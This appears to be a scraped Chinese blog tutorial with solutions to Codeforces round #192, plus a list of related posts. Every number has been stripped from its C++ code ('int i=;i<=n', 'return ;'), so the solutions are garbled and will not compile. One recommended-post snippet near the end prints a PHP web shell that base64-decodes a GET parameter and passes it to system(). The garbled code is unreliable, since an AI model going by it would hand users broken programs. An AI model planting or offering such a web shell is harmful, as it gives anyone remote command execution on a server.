Link:

Codeforces #192 传送门

前两天由于食物中毒现在还要每天挂一天的水

只好晚上回来随便找套题做做找找感觉了o(╯□╰)o

A:

看到直接大力模拟了

但有一个更简便的方法,复杂度为$O(被禁止的格子数)$

如果将每个黑格子上下左右四条线都染上色

可以发现一个格子最终无法被“净化”当且仅当其被左右/上下来向都染过色,所以将最终无法净化的格子合并是一个矩形

这样最终答案为:黑格子出现的行的个数*黑格子出现的列的个数

此时复杂度就变成与黑格子个数相关了

#include <bits/stdc++.h>

using namespace std;
#define X first
#define Y second
typedef long long ll;
typedef pair<int,int> P;
int n,m,cnt,vis[][];char dat[][]; int main()
{
scanf("%d%d",&n,&m);
for(int i=;i<=n;i++)
scanf("%s",dat[i]+);
for(int i=;i<=n;i++)
{
bool f=;
for(int j=;j<=m;j++)
if(dat[i][j]=='S'){f=;break;}
if(f) continue;
for(int j=;j<=m;j++) vis[i][j]=;
}
for(int i=;i<=m;i++)
{
bool f=;
for(int j=;j<=n;j++)
if(dat[j][i]=='S'){f=;break;}
if(f) continue;
for(int j=;j<=n;j++) vis[j][i]=;
}
for(int i=;i<=n;i++)
for(int j=;j<=m;j++)
cnt+=vis[i][j];
printf("%d",cnt);
return ;
}

Problem A

B:

发现菊花树满足任意两点之间距离不超过2

因此只要找到中心点就好了

又发现禁止的对数少于n/2,这样肯定有点没有禁止的点

这样找到没有限制的点作为中心构造菊花树即可

其实这是个结论:

保证任意两点间距离不超过2,只有菊花树满足条件

#include <bits/stdc++.h>

using namespace std;
#define X first
#define Y second
typedef long long ll;
typedef pair<int,int> P;
int n,m,x,y,cnt[]; int main()
{
scanf("%d%d",&n,&m);
for(int i=;i<=m;i++)
scanf("%d%d",&x,&y),cnt[x]++,cnt[y]++;
for(int i=;i<=n;i++)
if(!cnt[i])
{
printf("%d\n",n-);
for(int j=;j<=n;j++)
if(i!=j) printf("%d %d\n",i,j);
return ;
}
return ;
}

Problem B

C:

挺好想的,发现有解必为n个

这样先排除无解情况再以行/列为基准顺次找到n个即可

#include <bits/stdc++.h>

using namespace std;
#define X first
#define Y second
typedef long long ll;
typedef pair<int,int> P;
int n,posr[],posc[];
char dat[][]; int main()
{
scanf("%d",&n);
for(int i=;i<=n;i++)
scanf("%s",dat[i]+);
for(int i=;i<=n;i++)
for(int j=;j<=n;j++)
if(dat[i][j]=='.') posr[i]=j,posc[j]=i;
bool f1=,f2=;
for(int i=;i<=n;i++)
{
if(!posr[i]) f1=;
if(!posc[i]) f2=;
}
if(!f1&&!f2) return puts("-1"),;
if(f1)
for(int i=;i<=n;i++)
printf("%d %d\n",i,posr[i]);
else
for(int i=;i<=n;i++)
printf("%d %d\n",posc[i],i);
return ;
}

Problem C

D:

可以将所有中途相遇都转化为终点相遇

这样并不会使得是否相遇收到影响

此时就能推出走最短路必定最优的结论了

将终点设为BFS起点,将离终点比起点近的点都计入答案即可

#include <bits/stdc++.h>

using namespace std;
#define X first
#define Y second
typedef long long ll;
typedef pair<int,int> P;
const int MAXN=;
P S,T;char dat[MAXN][MAXN];
int n,m,res,dist[MAXN][MAXN],mx;
int dx[]={,,,-};
int dy[]={,-,,}; int main()
{
memset(dist,-,sizeof(dist));
scanf("%d%d",&n,&m);
for(int i=;i<=n;i++)
scanf("%s",dat[i]+);
for(int i=;i<=n;i++)
for(int j=;j<=m;j++)
{
if(dat[i][j]=='S') S=P(i,j);
if(dat[i][j]=='E') T=P(i,j);
} queue<P> q;q.push(T);
dist[T.X][T.Y]=;
while(!q.empty())
{
P t=q.front();q.pop();
int x=t.X,y=t.Y;
for(int i=;i<;i++)
{
int fx=x+dx[i],fy=y+dy[i];
if(fx<||fx>n||fy<||fy>m) continue;
if(dist[fx][fy]!=-||dat[fx][fy]=='T') continue;
dist[fx][fy]=dist[x][y]+;
q.push(P(fx,fy));
}
} mx=dist[S.X][S.Y];
for(int i=;i<=n;i++)
for(int j=;j<=m;j++)//这里dist[i][j]!=-1不能漏
if(dat[i][j]>=''&&dat[i][j]<=''&&dist[i][j]!=-&&dist[i][j]<=mx)
res+=dat[i][j]-'';
printf("%d",res);
return ;
}

Problem D

E:

考试时构造了很久确定解都觉得实现不了

最后发现能随机艹过去……

确定解:

寻找确定解时,有一点是我也想到的:将最终解构造成一条链

但还有一个重要性质:>=7时必定有解

那么对于<=7的小数据阶乘暴力即可

找到最大的连通块,将奇数项放前面,偶数项放后面

同时将第一第二项交换位置(如ABCDEF->CAEBDF)

这样就保证即使没有其它连通块,当前情况也能满足要求

接下来将其它连通块不断间隔式插入即可

在讨论里又看到了一个方法:

将序列转换并使其保持如下性质:

对于每个连通块,每一个点原来的相邻点都在其邻近的两格之内

这样将i和i+3连边即可(待填坑……)

随机算法:

其实算一算随机一个序列正确的概率还是很高的

(1-2/n)^n约等于0.135,反正随机100次应该就够了

于是就愉快得不用构造确定解了……

所以说,有时候还是要有点梦想

算算概率说不定随机就能随便过了……

#include <bits/stdc++.h>

using namespace std;
typedef long long ll;
typedef pair<int,int> P;
map<P,int> mp;
int n,m,x,y,a[]; int main()
{
scanf("%d%d",&n,&m);
for(int i=;i<=m;i++)
scanf("%d%d",&x,&y),mp[P(x,y)]=,mp[P(y,x)]=;
for(int i=;i<=n;i++) a[i]=i;
for(int i=;i<=;i++)
{
random_shuffle(a+,a+n+);
bool f=;a[n+]=a[];
for(int j=;j<=m;j++)
if(mp[P(a[j],a[j+])]){f=;break;}
if(!f) continue;
for(int j=;j<=m;j++)
printf("%d %d\n",a[j],a[j+]);
return ;
}
puts("-1");
return ;
}

Problem E

[Codeforces #192] Tutorial的更多相关文章

  1. codeforces 192 c

    link: http://codeforces.com/contest/330/problem/C broute force but you must be careful about some tr ...

  2. codeforces 192 D

    link: http://codeforces.com/contest/330/problem/D The discription looks so long, but the problem is ...

  3. [Codeforces #172] Tutorial

    Link: Codeforces #172 传送门 A: 一眼看上去分两类就可以了 1.每个矩形只有两条边相交,重合的形状为菱形 2.每个矩形四条边都有相交 对于情况1答案为$h*h/sin(a)$ ...

  4. [Codeforces #514] Tutorial

    Link: Codeforces #514 传送门 很简单的一场比赛打崩了也是菜得令人无话可说…… D: 一眼二分,发现对于固定的半径和点,能包含该点的圆的圆心一定在一个区间内,求出区间判断即可 此题 ...

  5. [Codeforces #210] Tutorial

    Link: Codeforces #210 传送门 A: 贪心,对每个值都取最大值,不会有其他解使答案变优 #include <bits/stdc++.h> using namespace ...

  6. [Codeforces #196] Tutorial

    Link: Codeforces #196 传送门 A: 枚举 #include <bits/stdc++.h> using namespace std; #define X first ...

  7. [Codeforces #174] Tutorial

    Link: Codeforces #174 传送门 A: 求原根的个数,有一条性质是原根个数为$\phi(\phi(n))$,多了一个不会证的性质 如果要确定哪些是原根的话还是要枚举,不过对于每个数不 ...

  8. [Codeforces #190] Tutorial

    Link: Codeforces #190 传送门 A: 明显答案为$n+m-1$且能构造出来 #include <bits/stdc++.h> using namespace std; ...

  9. [Codeforces #211] Tutorial

    Link: Codeforces #211 传送门 一套非常简单的题目,但很多细节都是错了一次才能发现啊…… 还是不能养成OJ依赖症,交之前先多想想corner case!!! A: 模拟,要特判0啊 ...

随机推荐

  1. php中的base64写shell

    <?php system(base64_decode($_GET['info'])); #http://localhost/1.php?info=d2hvYW1p #这只是一个例子 ?>

  2. Python模块学习 - pyinotify

    pyinotify介绍 pyinotify模块用来监测文件系统的变化,依赖于Linux内核的inotify功能,inotify是一个事件驱动的通知器,其通知接口从内核空间到用户空间通过三个系统调用.p ...

  3. 源码分析之tinyhttpd-0.1

    1. 简介: tinyhttpd是使用c语言开发的超轻量级http服务器,通过代码流程可以了解http服务器的基本处理流程, 并且涉及了网络套接字,线程,父子进程,管道等等知识点: 项目地址:http ...

  4. [New Learn] RunLoop学习-官方译文

    Run Loops Run loops是线程的一个基本构成部分.一个run loop 是一个事件处理循环,你可以使用它来处理线程收到的事件.设计run loop的目的就是可以使得线程在收到事件的时候处 ...

  5. The content of element type "resultMap" must match "(constructor?,id*,result*,association*,collectio

    The content of element type "resultMap" must match "(constructor?,id*,result*,associa ...

  6. git学习笔记三

    1.每个分支的历史版本维护信息位置是.git/logs/refs/heads/master,这个位置的信息是文本文件,不是引用. harvey@harvey-Virtual-Machine:~/dem ...

  7. div左右自适应高度一致

    <div style="width:300px;"> <div id="Left" style="float:left;" ...

  8. java的IO流之字符流

    # 原创,转载请留言联系 输出流 FileWriter类 常见的构造方法: FileWriter(String fileName)     根据给定的文件名构造一个 FileWriter 对象.Fil ...

  9. tomcat修改内存

    windows: 修改bin/catalina.bat, 第一行添加 set JAVA_OPTS=-Xms256m -Xmx512m linux: 修改bin/catalina.sh 第一行添加 JA ...

  10. ConcurrentHashMap的使用

    http://blog.csdn.net/gjt19910817/article/details/47353909 Long oldValue, newValue; while(true) { old ...